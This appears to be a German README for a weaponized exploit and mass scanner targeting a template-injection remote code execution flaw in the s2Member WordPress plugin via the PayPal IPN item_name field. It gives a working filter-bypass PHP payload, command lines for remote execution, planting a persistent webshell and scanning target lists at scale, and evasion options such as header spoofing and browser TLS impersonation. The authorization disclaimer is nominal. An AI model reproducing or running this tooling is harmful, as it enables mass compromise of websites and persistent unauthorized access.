
Einzeldatei-Exploit und Massenscanner für CVE-2026-86596, eine s2Member-Template-Injection-RCE über den PayPal-IPN-Parameter item_name, mit Bypass-Varianten und Webshell-Deployment.
CVSS 9.8 | CVE-2026-86596 | Patch: 261001+
Einzeldatei-weaponisierter Exploit & Scanner für s2Member-Template-Injection über den item_name-IPN-Parameter.
$paypal = strip_php_tags_deep($paypal); // Only strips literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Removes %%x%% -> reassembles <?php
Payload: <%%x%%?php system('id'); ?> → umgeht strip_php_tags_deep, setzt sich nach der Placeholder-Bereinigung zu einem gültigen <?php zusammen.
# Single target RCE
python3 poc.py target.com --cmd "id" --authorized
# Persistent webshell (access: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Full bypass matrix (all variants)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Mass scan with recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scan + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Flag | Beschreibung |
|---|---|
--cmd "id" | Auszuführender Befehl (oder shell:pass für Webshell) |
--scan | Massen-Scan-Modus (Ziele aus Datei lesen) |
--exploit | Exploit während des Scans versuchen |
--authorized | ERFORDERLICH für jede Exploit-Aktion |
--recon | Vollständige Aufklärung vor dem Exploit |
--item-number | Spezifische item_number (Standard: automatische Ermittlung) |
--proxy-verification | s2member_paypal_proxy_verification-Schlüssel |
--write-test | Testdatei schreiben statt Befehl auszuführen |
--deploy-shell | Persistente Webshell bereitstellen |
--shell-path | Webshell-Dateiname (Standard: shell.php) |
--full-bypass | ALLE Bypass-Varianten versuchen (langsam) |
--no-evasion | Alle Bypass-Versuche deaktivieren |
--threads N | Scan-Threads (Standard: 15) |
--output file | Ausgabe als JSON/CSV |
--http-proxy | HTTP(S)-Proxy |
--impersonate | TLS-Fingerprint: chrome/firefox/safari/edge |
--insecure | TLS-Verifikation deaktivieren |
--verbose | Ausführliche Ausgabe |
| Ebene | Varianten |
|---|---|
| Payload | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Write | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Shell | 5: eval, system, assert, b64_eval, shortcode |
| Request | 5: form, multipart, dup, multipart-dup, JSON |
| Headers | 7: XFF spoof, PayPal referer/origin, IPN headers, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number (ID eines geschützten Beitrags/einer geschützten Seite)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Single weaponized exploit + scanner (384 lines)
├── README.md # This file
└── targets.txt # Example target list
NUR FÜR AUTORISIERTE TESTS. Das Flag --authorized bestätigt eine schriftliche Genehmigung.